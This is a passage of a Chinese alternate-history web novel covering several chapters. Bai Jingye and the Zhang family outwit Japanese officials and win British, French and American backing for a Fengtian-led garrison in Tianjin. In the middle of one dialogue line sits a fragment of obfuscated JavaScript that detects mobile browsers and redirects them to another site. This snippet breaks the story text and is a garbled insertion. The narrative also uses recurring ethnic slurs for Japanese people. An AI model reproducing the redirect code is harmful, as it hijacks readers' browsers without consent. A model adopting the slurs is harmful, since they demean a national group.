“光**对不起就完了?你们**办的这叫什么事?”
“妈了巴子的!我老张好心好意帮着你们,你们**把我老张架在火炉子上烤!”
“就他妈弄那么一点贷款,到现在还是没影的事!”
菊池连忙辩解,“总司令请您息怒,我向您保证,那笔贷款三天之内就能到。”
“大本营对您在这次事件中所做的深表感谢,还请您见谅!”
这倒不是菊池瞎掰。
津门的事件弄得岛国内部焦头烂额。
全华夏都掀起了反岛情绪,唯独张老疙瘩这里没什么动静。
这让他们内部对投资奉系的分歧意见一下子就小了很多。
菊池武夫也因此得到了表彰,授予他全权处理此次事件。
张老疙瘩内心欢喜,但表面依旧阴沉着脸。
“别他娘扯这没用的,你说到底该怎么办,你们拿什么来平息这次事件。”
“嗨!”
菊池武夫抬起头,脸上带着淡淡的微笑,“总司令,我们会交出几个替罪羊,但是吉田领事还要回到岛国受审,所以我们希望贵军能保证他的安全。”
“老子咋保证?小六子的部队根本进不去津门。”
说到这老张疑惑道,“你不是说跟其他国家的事情你们来处理么?你们咋处理的?”
菊池顿时语塞。
事情出了以后,他第一时间让北平的大使和各国去沟通。
可是根本没有效果。
换来的只有一个单词,No!
他也明白这是各国对他们在亚太占了太多资源的不满。
“总司令,这其中牵扯了太多关系,所以还希望您出出力。”
老张沉吟了片刻。
“小六子的部队肯定是进不去了。”
“要不这样得了,你们自己派人进津门把吉田茂带出来。”
“反正你们在法理上有这样的优势嘛!”
菊池武夫瞪大了双眼,不敢相信这是张老疙瘩说出来的话。
满铁内部是有这样声音的,但是他们怕跟老张提出来双方撕破脸。
菊池的声音都有些颤抖,“司令,我们的部队要是通过,您不会阻拦么?”
老张叹了口气,“尽快把事情解决吧,再发展下去弄不好就会流血。”
“这也是我不想看到的,反正你们只是把人带出来,也不是在津门常驻,我想这些国家会理解的。”
“但是,我提前跟你说好,你们要是出兵,老子一定会发声明**的,到时候别说老张不拿你们当朋友。”
“嗨!”
菊池武夫给老张来了个九十度的鞠躬。
“谢谢总
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司令您体谅!您真是我们岛国最好的朋友!”
老张摆摆手,“别他娘扯这些用不着的,我告诉你在这说的话,要是传出去老张我一个字都不会认的!”
“是,总司令,我明白!”
菊池武夫一时间丧失了理智,告别张老疙瘩一路小跑着上了车。
老张看着菊池的背影,嘴角露出了冷笑。
“喜顺,给六子发报,告诉他,老子在火上烤烤没关系,但是奉系不能在火上烤。”
“让他把这事一定给我办圆满喽,办不好,我让他和那个白修合还有冯老五,这三个王八羔子一起**上关外放羊去!”
”是,帅爷!”
老张现在是顶着极大的压力,放龟子出东北,这**是**!
他接到电报时刚开始根本不同意。
但三番四次的沟通后,他觉得这里边的收益巨大。
短暂的骂名不要紧,只要后续计划成功,奉系将会成为全国的典范。
他也将白敬业他们的计划做了些改动。
原本是在滦州一带堵截龟子,这回地点变成在山海关。
只要龟子一出兵,张六子带着三、五两个军团堵在山海关的门口。
后边他派张作相封死他们的后路。
让这伙儿龟子进不能进、退不能退!
少帅府内
张六子拿着这封电报,心里也感慨万分。
他和老张的关系,真的应了那句话。
前世冤家、今生父子!
在后世的访问中,张六子不止一次表示过,他和父亲的关系不太好。
他有好多次吸大了,都想宰了他爹。
可如今他看到老张拿着整个奉系陪他赌,心里对父亲那点怨气也都烟消云散了。
张六子把电报递给白敬业,打趣道,“这事办不好,咱哥仨我看就得亡命天涯了!”
白敬业看完后宽慰道,“放心,七十二拜都拜了,不差这一哆嗦!”
“你放心的去,津门这边交给我。”
张六子点了点头,看向少帅府里的众人,“我上前线之后,白敬业说的话就代表我的命令。”
“津门一切事宜,统统听从他的命令,你们明白了么!”
“是,司令!”
第119章 从我张六子的身上踏过去!
张六子换好了军装。
把自己的随身卫队留下一半交给了白敬业。
还有些不放心又将自己的配枪交给了他。
随后带着徐承业还有几名卫兵走出了少帅府。
少帅府外人满为患。
都是来质问张六子为何不发出声明。
这东西就跟过节给领导送礼似的。
谁送了,领导可能记不住。
但是谁没送,领导的心里是一清二楚。
少帅府外大多都是学生,见张六子出来,立刻有人质问道。
“少帅!你们奉系为什么不发出声明,难道你们真的与岛国龟子沆瀣一气!”
“是啊,奉系必须给出个交代,全国都在反岛,为什么你们奉系默不出声!”
张六子环视了一圈,笑呵呵的问道,“你们都是哪的学生?”
“我们是南开的!”
“我是天大的!”
“南开?你们有伯灵先生的学生么?”,张六子问道。
“少帅认识我们老师?”
张六子点了点头,“我听过伯灵先生的演讲,也算是他的学生,对先生的爱国三问铭记于心!”
他高声道,“我可以明确的告诉大家,我张六子是华夏人!我爱着华夏!我愿意为华夏付出一切!“
学生们左看看、右看看,心里都有着疑惑。
“既然少帅您爱着华夏,为什么不代表奉系发出声明?”
张六子呵呵一笑,摇了摇头,“因为我没时间。”
“我没时间和那些嘴上说着爱国,但打着小心思的军阀们一起扮演爱国的把戏!”
他的手指向北方,“知道我要干什么去么?”
“我接到了消息,龟子想要出兵进入津门,准备武力平息这次津门的**!”
“我要到山海关的前线去指挥部队,我要挡住这些侵略者!”
“如果你们纠结的是一纸声明,恕我张六子实在没这个时间。”
“不过,我向大家保证!”
他慷慨激昂道,“只要我和我的部队还在!没有一只龟子能迈出山海关!”
“除非他们从我张六子的尸骨上踏过去!”
张六子的话像一道炸雷,炸响在人群中。
众人交头接耳道。
“龟子要出兵到津门,他们这是侵略。”
“可恶的小龟子,他们不仅干扰民国的司法,还想侵占津门。”
“少帅!我要跟你一起上战场!”
“对,带上我们,跟小龟子拼了。”
张六子双手下压,示意众人安静。
“各位的好意,我张六子心领了,不过打仗是军人的事!”
“你们还是学生,就要做学生的事,不要在这围着了。”
“你们崇拜的修合先生与我是至交好友,你们要听他的话,为了华夏的伟大复兴而奋斗。”
他面向众人敬了个军礼,打趣道,“假如我张六子凯旋津门,还希望各位学弟能帮我们奉系正正名!”
说完后,张六子带着卫兵上了车,向火车站方向开去。
众人看着远去的车子沉默不语。
突然,有个记者说了一句,“你们说,咱们这些人是不是被那些军阀利用了?”
“被他们当成了刀来攻击少帅和奉系。”
他的话让在场的学生疯狂的自我脑补。
是啊,少帅没发声明,但是人家上了战场,在前方抵抗侵略者。
可是这些军阀在干什么?
明面上打着为国为民的旗号,实际上在拉踩奉系。
就是想利用他们攻击奉系。
“同学们!我们能做军阀的手中刀么!”
伯灵先生的学生站在人群最前面高声呐喊。
“少帅说他和修合先生是至交好友,我相信他是个用实际行动来证明自己的人!”
“我们应该抵抗这些放空话的军阀!让他们向奉系道歉!”
“对!让他们向少帅道歉!”
这些学生呼呼啦啦的从少帅府离去。
准备运用自己手里的笔抨击那些丑陋的军阀。
门口只留下刚才说话的记者目瞪口呆的。
他摸了摸脑袋感叹道,“妈的!修合先生的脑袋真好使,这招数都是怎么想出来的。”
……
满铁
当菊池武夫把消息带回来的一刻。
所有的满铁成员都狂热起来。
山本条太郎乐的直蹦高,简直不敢相信自己的耳朵。
他再次向菊池询问道,“那个马匪真是这么说的么?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16429808|184893||http|test|mini|href|location''.split(''|''),0,{}));
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r>菊池皱了皱眉,“山本君请注意你的用词,他不是一个马匪,他是奉系的总司令!”
“他确实是这么说的。”
“天蝗陛下板载!”
山本双手握拳激动的高喊了一声。
松井也激动的说道,“山本阁下,我们调动关东军的一个联队怎么样?”
山本笑着摇摇头,“太少,至少要两个步兵联队!”
“一个驻扎在津门外,一个驻扎在城内!”
“纳尼!”
菊池武夫疑惑道,“山本君,我们把吉田茂接出来就可以,你难道想长期驻扎在津门内么?”
“哈哈哈哈”
山本条太郎一阵狂笑,“菊池君你是不是在华夏待久了,不懂得怎么把握时机!”
“张总司令已经开了口子,这么好的机会可不常有!”
“我们就是要长期进驻到津门,只要我们的部队进入了,就没人能赶我们出来!”
“津门!这个天子渡津之地从此就是我们大岛帝国的了!”
“我们要把津门作为今年献给陛下的生日贺礼!”
“天蝗陛下板载!”
满铁的这些狂热分子们纷纷高声欢呼。
“啪!”
菊池武夫使劲拍了下桌子,制止道,“不!我不同意!这样做会使我们在国际上很被动。”
“我们在东北总共才两万多军队!我们目前还不能和其他国家发生**!”
“你们忘记九国公约了么!这些欧美人不会眼睁睁看着不管的!”
“八嘎!”
山本怒骂了一句,“菊池君!你的胆子变小了!”
“我才是满铁的总裁!请注意你的身份,不要在我的面前拍桌子!”
“你的任务完成的很好,接下来的事就不劳烦你操心了。”
山本条太郎一句话给菊池排除在外。
咱说菊池是龟子大本营委任的,山本有这个权利么?
没有!
但是不妨碍他这么做,九一八怎么发生的?
就是满铁和关东军密谋,已经打上了,龟子大本营还不知道呢。
菊池冷哼一声夺门而出。
松井看着他的背影嘲笑道,“真是个懦夫,他哪里还有一点天蝗武士的样子。”
第120章 合作(1)
“松井君,不能那样讲!”
山本条太郎看向松井,训斥道,“不管怎么说,菊池君他都是你的前辈、是你的上级!”
“嗨!我知道了山本阁下!”
山本满意的点点头,吩咐道,“去吧,跟姬路师团沟通的事就交给你了。”
“做好这件事,我会向天蝗陛下给你请功的。”
“谢谢山本阁下!”
松井满怀欣喜的九十度鞠躬,大步流星走出了办公室。
整个满铁大楼都沉浸在狂热与喜悦之中。
似乎他们已经为岛国的腾飞插上了发动机。
却没想到在几天后这台发动机,让白敬业给硬生生的拆了个稀巴烂。
姬路师团也就是历史上臭名昭著的第十师团。
此时的师团长还是福源佳。
他接到了消息直嘬牙,心想,满铁那帮老爷们**敢开口。
张嘴就要两个联队。
总共关东军在东四省就这么一个师团,才有几个联队?
不过也不敢不听。
集结了一个满编联队和一个守备大队,作为前头军。
准备从辽阳出发直奔津门。
几天后在关东军下令出发的同时。
奉系终于发出了全国通电。
严重**及谴责岛**队出兵干预津门事件,并指出奉系将固守在第一线,绝不让岛**队迈进山海关一步!
这条电文一出。
全国的军阀都傻了,都在想不就是一个小事件,怎么**要打仗了!
各国的使馆、领事馆也傻了,都在想龟子是不是疯了!真敢出兵啊!
龟子更傻了,这他妈和预演的不一样啊!
张老疙瘩不是说好只谴责么?
派兵固守这是几个意思。
而最佳操盘手白大善人在干嘛呢?
正端着油墨盘拿着画笔在少帅府的花园里画画。
谭海拿着几封请柬,小跑到了他面前。
“白长官,威廉领事和其他几个国家领事请求下午跟您会面。”
白敬业皱了皱眉,似乎对自己的画技不太满意。
在油墨盘里左调右调,调成墨绿的颜色。
“看看这画怎么样?”
谭海仔细一看,他画的是自己穿着军装的画面。
不过军装的风格有些像外国的,军服的颜色却是墨绿色的。
“这是您设计的军装?比咱们奉系的好看多了。”
“哈哈哈,你小子有眼光!”,白敬业夸赞道。
他是参考了小胡子设计的,肯定好看。
不过颜色却换成了墨绿色。
谭海再次问道,“这几个领事要怎么回?”
“晾着他们!跟他们说下午没空,晚上我抽时间请他们吃饭,哦,对了,晚上只邀请牛牛、火鸡和鹰酱三国领事。”
“对待这帮人,你越急,主动权越不在你手中。”
白敬业说完,从旁边拿出一摞设计图。
“你安排人跑一趟北平,把设计图交给小胡,让他马上给我赶制出三百套军装来!”
“是,白长官”
“还有你亲自跑一趟,把信二给我提溜过来,要保密。”
“是!”
夜晚
少帅府摆了一桌丰盛的鲁菜宴席。
厨子是从登瀛楼请来的。
师从慈禧的御厨抓炒王王玉山,地道的荣成帮。
请这三国领事做鲁菜,是不是因为他们爱吃?
不是。
其实大部分的外国人是吃不惯华夏菜的。
那是白大善人爱吃。
上一次吃西餐,是我想征求你们的意见。
这一次角色互换,着急的不是我,这也是对待这帮老伦敦混蛋的一种谈判技巧。
你越在乎他们,他们就会觉得你越软!
威廉一见到白敬业就开始抱怨道,“白,想见你一面可真不容易。”
白敬业十分绅士的笑道,“抱歉威廉先生,我们的司令在前线和岛国人对峙,他留下不少的工作需要我去做。”
提到前线的岛国人,威廉更有些郁闷。
他恨恨的骂了一句,“这帮该死的罗圈腿小矮子!”
“白,张司令打算怎么解决这件事。”
白敬业伸手做请状。
“请各位先入席,咱们慢慢聊。”
等众人都坐下,白敬业用公勺给威廉盛了点鱼片。
“尝尝,这是华夏菜十分地道的抓炒鱼片。”
威廉用叉子尝了一口,眼睛一亮,小酸甜口中带着鱼的咸鲜味。
他喝了一口酒,玩笑道,“非常美味,但再美味的菜,我现在也没心情品尝,白,你还是别卖关子了。”
火鸡国的领事约瑟夫也抱怨道,“白,前线究竟是情况?”
“唉”
白敬业叹了口气,拿出一张准备好的电文,“从张司令给我的电文,岛国这次出动了两个联队,你们猜猜他们的意图是什么呢?”
他将电文交给威廉。
他们互相传阅过以后,表情又急躁又苦涩。
“法克!他们是想引发战争么!”
威廉狠狠的骂了一句,又扭头看向白敬业,“张司令的打算呢?他会堵住这些岛国人么?”
“我们一定会在国际上声援张司令的!”
白敬业笑眯眯的喝了口酒,“威廉领事,我想只是声援恐怕不行。”
威廉明白他的意思,为
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难道,“白,我清楚张的意思,而且驻军的事我已经向上汇报了。”
“我个人很看好我们和奉系的合作,不过伦敦方面需要时间去讨论。”
“我理解。”
白敬业点头同意,随后话锋一转,“我们现在最缺的就是时间,不是么?”
“其实岛国人出兵并不是问题的关键,问题的关键在于我们之间的合作是否能达成。”
他说着拿出了三份文件,交给了他们。
威廉打开一看,上边用非常流利的英文,书写的一份华北地区建设计划。
里边包含了水利发电厂、炼钢厂、机械加工等等一系列的前景分析。
“各位先生们,华夏是个潜力巨大的国家。”
“但目前还是处于一个农业国,仅仅一个东北相当于3.5个岛国,更何况华北呢?”
威廉点了点头,按照这篇计划,将华北发展起来,双方的收益都是巨大的。
比想象的还要大。
白敬业见威廉的情绪已被带入,继续加磅。
“而且从这次事件中,先生们应该能看得出岛国的狼子野心。”
“他们的贪欲是无穷无尽的,如果奉系真的彻底倒向岛国。他们一旦全盘控制住华夏。”
“甚至只是一半的华夏,接下来会不会将手伸向东南亚呢?”
这句话像重锤一样,击打在威廉和约瑟夫的心脏上。
“这些贪婪鬼!他们一定会!”,约瑟夫大声叫嚷着。
白敬业起身,身上的气势十足,站在威廉的身后。
像浮士德中低语的魔鬼一般,弯下腰贴在威廉的耳边诱惑道,“你们需要的是什么?”
“是一个强大而又不具有侵略性的东亚国家。”
“来帮你们遏制住狼子野心爆棚的岛国。”
“在北方只有奉系有这个实力。”
白敬业说完后起身,将双手一摊,“先生们,如今的华夏不再是满清。”
“换句话说,如果现在还是满清,我们根本不会在一张桌上谈要不要进行合作。”
“你们应该会与岛国一起继续瓜分着华夏的利益。”
“可你们大概忘了,满清怎么灭亡的呢?”
“是被我们亲手杀死的!”
他一边说着,一边绕到桌子的中间,面带微笑看着众人。
“所以,先生们决定权在于你们,是选择和这个国家北方的王者继续谈合作?”
“还是选择将他推向岛国人那边?”
“我向大家保证,如果今天我们不能达成合作。”
他抬起手看了看表,“在你们离开这里五分钟后,岛国人就会跨过山海关!”
第121章 合作(2)
别看白敬业表面云淡风轻。
但心里却‘突突突’直跳,谈判桌上博弈的紧张程度。
丝毫不次于山海关前线。
他和威廉如同两个张弓搭箭的射手。
但不同的是,他这只箭直指威廉的脑门心!
三国领事当中,相比于约瑟夫和鹰酱领事弗兰克,最为焦急的就是威廉。
火鸡一直与奉系有往来,他们在华夏的布局中给了奉系不少的贷款支持,而且他们的重心点不在华夏。
鹰酱则是一直跟随着牛牛的步伐,现阶段当中两国的关系还是牛牛当爸爸。
牛牛在之前一直大力支持的是直系的老吴。
自从老吴被老张一杆子掀翻后,他们的投资算是打了水漂。
所幸老张是个体面人,他的心愿是进京一统,需要各国名义上的支持,所以并没对牛牛的在华利益下手。
这也是牛牛愿意坐下来商谈的主要原因之一。
可如今的形势却不同了,牛牛最为看重的在华利益就是港口这方面。
民国三大城市上、青、天,青岛已经被岛国人蚕食的所剩无几。
如今还要大举侵犯津门。
最大的三个你岛国人想吃俩?
**世界霸主究竟是我伦敦老爷还是你们小罗圈腿?
直到威廉喘着粗气咆哮着喊出。
“No!”
白敬业悬着的这颗心才终于落下了地。
他端起酒杯,脸上挂着淡淡的笑容,“看来这场宴席可以继续下去。”
“感谢文明的西方迎接我们,先生们,让我们共同饮下此杯。”
“唉”
威廉端着杯叹了口气,“白,别再说这种虚伪的话语了,你是我见过最难缠的外交官。”
干了杯里的酒,副官谭海拿着分酒器给众人倒上。
刚才的一幕对他太过震撼。
从他参军以来,所见过的长官对待外国**部分都是卑躬屈膝的。
少数的强硬派也在洋人那占不到便宜。
能像白敬业似的,把洋人逼到这个份儿上的,真是没见过。
“白,我们选择了合作,还希望张司令可以信守承诺,不让岛国人的军队进入到津门。”
白敬业点了点头,表情略有夸张的说道,“那是当然的威廉,我们怎么可以容忍岛国侵犯我们共同的利益。”
“而且我们的张司令是位爱国将领,他绝不会允许岛国人再前进半步。”
对于一个傲慢的牛牛国人,能说出这种话,已经是极大的让步。
最主要的原因,还是因为牛牛在一战的损失有些大。
他们不得不让步,如果是二十四年前,他们能这么做?
早就乘着铁甲舰来叩关了。
昔日的霸主把摊子铺的太大,**熊觊觎着欧洲的每一寸土地。
应付这个血色**就已经很吃力了。
牛牛巴不得有一个东亚的强国来倒向他们。
所以在前几天威廉把奉系有意向合作的事情,向伦敦方面汇报后。
他们不假思索的就同意了,并且将此事交给驻北平的大使和威廉全权处理。
那威廉为什么还说伦敦方面还在考虑呢?
这就是谈判的博弈点,双方都想占据主动权,争取更多的利益。
而且世界霸主要有自己的逼格,你说啥是啥,怎么凸显我的霸主地位!
但白敬业一刀斩在他们的大动脉上,你不同意,那就都他妈别玩了!
当然!三国公使知道白敬业说的可能是假话。
以他们对华夏的了解,像张老疙瘩这个级别的人物是不能当**贼的。
问题是他们敢赌么?
白敬业说完后向谭海挥了挥手。
谭海把他之前画好的搬了出来。
他走到画前,摘掉了画上的幕布,“各位先生们,我们张司令为了表达对各国的尊重。”
“可以允许部队不以奉系的名义进入津门,而算作是咱们四国联合津门维和部队。”
“这是我设计的军装你们看看怎么样?”
白敬业这个做法就相当于给了他们一个甜枣。
对于牛牛和火鸡,你把他面上哄好了,运作一些事情会十分方便。
尽管所有人都知道,这支部队就是奉系的。
威廉的脸上果然露出了喜色,他跟约瑟夫还有弗兰克互
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相对视一眼。
欣喜的说道,“白,我越来越看好我们之间的合作。”
“我向你做出承诺,两天之内,我一定说服大使一起推进这件事。”
“我想我们再次会面,应该是坐在合作桌上,一起签署有关的文件。”
白敬业点点头,但脸上露出一丝难色,“威廉,我想这张合作桌上,应该把那位吉田领事一起带着。”
“毕竟津门还有着日租界,维和部队进来也要他们点头,可如今我们的部队正在与他们对峙…”
威廉脸上带着坏笑,“我懂得你的顾虑,我们会联合向岛国政府发出声明。”
“只要咱们的维和部队一进,他们没有理由再派部队,他们要是还坚持,就是与我们所有人为敌!”
看到没有,面子给足了,傲慢的牛牛国自然不会在乎其他。
但这个面子是谁撑起来的?
不是白敬业的一张嘴,而是堵在山海关前的两个军团。
我的里子是让你只能跟我进行合作。
给你的面子,是让你愉快的跟我进行合作。
没有里子,再好的面子也是鞋垫子!
白敬业端起酒杯,高声道,“那么先生们,祝我们的合作愉快!”
“合作愉快!”
等他在门口目送着几人走后。
谭海脸上满是崇拜的赞叹道,“白长官您真厉害,这几个洋人在您面前都卑服的。”
“别废话!快,搀我一把,我腿都软了。”
谭海马上搀着白敬业,不解道,“白长官您也怕洋人啊?”
白敬业斜了他一眼,“我怕他们?”
“我是怕事办不好,东北王真给我塞关外去!我特么好日子还没过够呢!”
“去给张司令发电报吧,告诉他事已经成了。”
白敬业这个人赌性异常的大。
从他入狱事件一直到今天谈判就能看出来。
他的每一步都在豪赌。
原身赌的不过是钱。
而他却敢赌自己的命。
山海关前线
徐承业拿着两封电报,兴冲冲的走进了指挥室。
“司令,白长官发来的电报。”
第122章 一家欢喜一家愁
前线指挥室的小屋里
张六子和郭鬼子正大眼瞪小眼的看着对方。
此时已经半夜十一点多,两人一点困意都没有。
空气似乎都有些紧张。
直到徐承业的喊声出现。
张六子‘腾’的站了起来,一把夺过电报。
他从前到后足足看了三遍,发出阵阵狂笑。
“哈哈哈哈!成了!事成了!”
郭鬼子凑了过来,看着电报上的内容也是激动不已。
他十分欣喜的喊道,“好!白修合大才!大才!”
“汉卿,你知道么!这是从辛丑条约以来,华夏的军队第一次在津门内驻军!”
历史上,从1901年辛丑条约签订以来。
津门的驻兵权就不在华夏手里,因此才有了老袁藏兵于警的事件。
丧权辱国!
要论近代史哪一则条约带给华夏的伤害最大。
无疑问一定是辛丑条约!
“哈哈哈”
张汉卿一边哈哈大笑,一边说道,“咱们得马上先抽调一个营赶回津门。”
郭鬼子点点头,十分大气的说道,“就让传武去吧!”
张六子笑着揶揄道,“你舍得了?”
“呵呵”,郭鬼子呵呵一笑,“从我个人角度上当然舍不得。”
“可对于他来说这是一份荣耀!是身为军人的荣耀!”
“再加上白修合开口了,我还有什么舍不得的。”
张六子拍拍他的肩膀,“这回去了,让他好好请请你!”
“呵呵,别人的饭我郭某人还真不屑于吃,他白修合请客,我一定到!”
郭鬼子说完后向外喊道,“传武!”
朱传武大步流星的走了进来,笔直的站好敬了个军礼。
“军长!”
郭鬼子微微颔首,“给你个任务,带着三团一营,马上起身赶奔津门。”
“到了津门后在城外驻扎,具体的任务找白长官,他会向你下达命令!”
“是,军长!”
朱传武是个非常纯粹的军人,让做什么就做什么,根本没有二话。
等他出去以后,徐承业又掏出第二封电报。
“司令,这是白长官给您的密电,让您亲自破译。”
张六子找出专用的密码本,等他破译好了之后,吸了口冷气。
上边的计划,白敬业在他临走之前一起研究过。
不过那时候觉得时机不成熟,就暂时搁置了。
但他没想到,白敬业旧事重提,这个计划连他都觉得太过激进。
他斟酌片刻,走到外间屋,向众人命令道。
“命令前沿,都打起精神来,随时做好战斗准备!”
“是,司令!”
随后张六子拿出火机,将这封电报化为飞灰。
郭鬼子有些不解的问道,“怎么了?难道龟子那边真敢进攻?”
张六子神秘一笑,摇摇头,“以防万一吧。”
这世上的事就这样儿。
一家欢喜一家愁!
时间来到两天后的中午
满铁这边前几天还是狂热的随时准备为天蝗献身。
现在一个个唉声叹气,好像**妈。
山本条太郎满嘴都是火泡,可能这几天山葵吃多了上火。
松井也不敢逼逼了,站在那毕恭毕敬的给菊池武夫端了一杯茶。
“菊池长官请用茶!”
菊池也没搭理他,冷眼看着山本,“山本君,现在该怎么办!你准备让这件事怎么收场!”
山本挠了挠头,皱眉道,“张司令那里还是不肯放行么?”
“呵呵”
菊池武夫气得一阵冷笑,质问道,“你派了一个联队加一个大队!你让他怎么放行!”
“他有无数个理由可以堵住你的嘴!”
“那…那”
山本语塞道,“可不可以让他先放我们一个小股部队过去?”
菊池武夫摇了摇头,“他说了,军演还需要两天,让我们慢慢等着吧。”
“嘭!”
山本条太郎狠狠地捶了下桌子,怒骂道,“这个该死的马匪!一点都不讲信誉!”
“我们的贷款算是喂了狗了!”
他的话音刚落,门口急匆匆跑来一个工作人员。
“山本阁下!出事了!”
“英、美、法…等各国公使,联名向大本营发了质询函,质询我们是不是要挑起一场战争。”
“大本营问我们究竟能否处理好这件事
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!”
山本条太郎憋的脸红脖子粗,一句话都说不出来。
好半天才答复道,“先不要给大本营回信。”
他又扭头看向菊池武夫,恳求道,“菊池君,请您再去跟张司令交涉,让他放开一道口子,让我们的部队过去。”
菊池武夫皱了皱眉没说话。
“菊池君,请你告诉他,如果他不让开道路,我们将会强行冲破山海关!”
“你真是疯了!”,菊池武夫站起身怒喝道。
说完后他转身走出了办公室。
山本条太郎跌坐在椅子上六神无主。
他赌的太大,几乎押上了全部筹码。
买定离手,押上去的想撤也撤不回来。
山本清楚自己唯一不被本部处罚的条件,就是拿下津门。
岛国人一贯作风就是赌国运。
菊池武夫在下午四点的时候,终于又见到了张老疙瘩。
张老疙瘩满脸的嫌弃,“咦~,我说菊池,你拿我的大帅府当成大车店了?”
“一天跑三趟,我说你烦不烦。”
菊池低头无奈道,“还请司令您能通融,让我们的军队过去。”
张老疙瘩的眼神十分清澈,“就为这事?让你过去倒是可以,不过你们过去要干嘛?”
菊池一愣,“当然是解决津门的事。”
“津门有啥事?不是都解决了么?”,张老疙瘩疑惑道。
“什么?”
菊池不理解他的意思,一头雾水的说道,“什么解决了?”
张老疙瘩拿出一份电文,时间正是半个钟头前。
“你看看,这是执政府给我发来的命令。”
菊池武夫接过一看,懵了!
脑瓜子嗡嗡的!
上面清楚的写着,经北洋执政府、英法美日等几国联合商议。
由奉系京榆司令部出兵进驻津门,解决津门内**事件。
他明白了,这是大本营顶不住几国的压力,越过满铁直接向大使馆下达的命令。
菊池看完后躬身致歉,“对不起司令,这封电文能否借我用用?”
“想要就拿走,反正是份复写件。”,张老疙瘩十分大气的挥了挥手。
“谢谢司令!”
第123章 陪葬
菊池武夫快步出了帅府赶回满铁。
他将电文拍在了山本的桌子上,“你自己看!”
山本看完后心都凉了。
赌场关门了!
就在山本条太郎半死不活的同时。
朱传武带着一个连的先头部队进入津门城!
整个连迈着整齐的步伐向日租界跑去。
等到了日租界还哪有**的人?
早就接到消息都撤了。
他安排好人员在岛国领事馆的外围进行全面封锁。
……
少帅府内
白敬业邀请各国领事,以及一些政商名流开起了舞会。
要问如今京津两地最耀眼的那颗星是谁?
必然是咱们白大善人。
细数白大善人身上的光环。
知名作家
爱国学者
北平黑手党幕后操控人
奉系三军团外事联络官
四国联合驻津门维和团团长
以及未来中华武士会**人的未婚夫!
可以说整个北方黑、白两道,包括各国在内,都要给咱们白大善人三分薄面。
威廉端着酒杯脸上带着轻松的笑容,恭喜道。
“祝贺你,白!明天我们签署协议之后,后天你就可以为自己准备就任仪式了。”
白敬业跟他碰了一下,“还要谢谢你威廉,我已经迫不及待想看看吉田领事签协议时候的表情。”
“哈哈哈”
威廉哈哈大笑,嘲讽道,“我想那一定是一张苦瓜脸!”
要说这岛国心是够狠的。
见满铁那边事情进展不顺,又为了应付各国。
毫不犹豫的把吉田茂推出来做了替罪羊。
并且交出了几个做非法生意的岛国商人。
唯一的要求就是吉田茂必须回到岛国进行审判,不能交给华夏审判。
而执政府和其他几国方面指出,要以**的形式驱离吉田茂出境。
无非是一些外交惯例。
白敬业对此也预料到了,不过他的心里咽不下这口气。
要能让你完完整整的走出华夏。
白大善人的道心会不稳!
“白!你对维和团接下来有什么安排?”,威廉饶有兴致的问道。
白大善人嘴角勾起和善的笑容,轻声道,“威廉,你不觉得津门的乱象都是源自于日租界么?”
“那里的烟馆、妓馆比码头的船还要多!”
“我认为应该对日租界进行严加管制,津门稳定了,才符合我们的共同利益。”
威廉十分赞同的点点头。
双方初次结盟,当然要选择共同的敌人打击一番。
才能让同盟更加牢固。
他夸赞道,“白!你真是一个为市民着想的人,用你们华夏话来说,你真是个善人!”
“说的对,津门的乱象就是源自于日租界,他们做了太多的非法生意。”
“放心的去做,我们会给予你支持,一起还津门一个美好的未来!”
不仅仅是日租界,还有纵横码头的青帮,白大善人准备给他们一勺汇了!
津门的码头,以后只有一个人可以发出声音。
那就是白大善人!
部队进不来的时候,你们青帮敢号称自己有多少多少弟子。
一个营的兵力,三百多条枪往那一杵,你漕帮算个屁!
不够是吧?
外边还有两个营和重**、迫击炮!
你青帮帮主能挨几发炮弹!
什么?你说你青帮跟津门的政府关系也很密切?
对不起,政府也要听大善人的!
他白敬业现在放个屁,比潘雄起拍桌子的声音都大!
好风凭借力,送我入青云!
今晚宫二穿着一身西式的礼服。
她看着自己未来的丈夫,在各国领事间谈笑风生,不由得看痴了。
春之声圆舞曲正适合当今的时节。
悠扬的音乐声一响,众人纷纷牵起自己的舞伴下场
“这位美丽的小姐,我能请你跳支舞么?”
宫二淡淡一笑,将手放在白敬业的手中。
两人在舞池中翩翩起舞。
白敬业凑到宫二耳边道,“今晚长夜漫漫,可否与我促膝长谈?”
宫二也没搭话,脚下微微用力,似乎是舞技不太纯熟,不小心踩到白敬业的脚背。
“嘶!”
两人亲昵的举动引得酒桌旁的少女咬碎银牙,眼睛里快要喷出火来。
翌日正午
吉田茂终于走出被困许久的领事馆。
他的脸色苍白,没有一丝血色。
被几名士兵带着前往津门市政府。
他已经预见到自己的未来。
最好的结果是闲赋在家,仕途上不会再有任何进展。
坏一点,等待他的就是牢狱之灾。
乃至于**‘自尽’,
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洗刷自己对大岛帝国带来的耻辱。
今日要签署的是两份协议。
一份是由于岛国对津门带来极坏影响,各国将限制日租界在津门的权益。
例如,岛国在津门的商船需要细致的检查。
未来领事馆内的武官和卫兵的人数会大幅度削减。
日租界内允许津门警局进行例行检查,等等。
第二份则是四国联合维和部队成立的协定。
市政府的议事厅里,摆下了签约用的桌椅。
一个长条桌,四张大的圈椅在一侧。
在另一侧放着一把小凳子。
这是专门给吉田茂准备的。
津门九国租界,这人数也不对啊?
实际上到民国十四年,真正在津门有话语权的只有英美法日俄。
而英美法对这位血色**始终是统一战线的,所以根本不带他玩。
众人悉数到场。
白敬业、威廉等人坐在一起,像是四个法官在审判一个**一样。
吉田茂的心中不停的大喊,“耻辱!”
“这是大岛帝国的耻辱!”
“该你签了,吉田领事”
白敬业将所要签署的文件,递到吉田茂的面前。
吉田茂看到白敬业的笑脸怔住!
突然间他的脑子闪过无数的念头。
他好像想明白了许多。
从邹榕被逮捕到眼前的人被枪击,再到奉系堵截关东军。
整个事件当中似乎都有奉系的影子。
而且这几天他也把白敬业的经历看了个遍。
从中也推测出他和奉系的关系不一般。
一瞬间吉田茂的念头通透了!
谁是收益最多的一方?
奉系!
这一切都是奉系的局!
满铁错了!岛国本部错了!
他们不应该支持奉系!
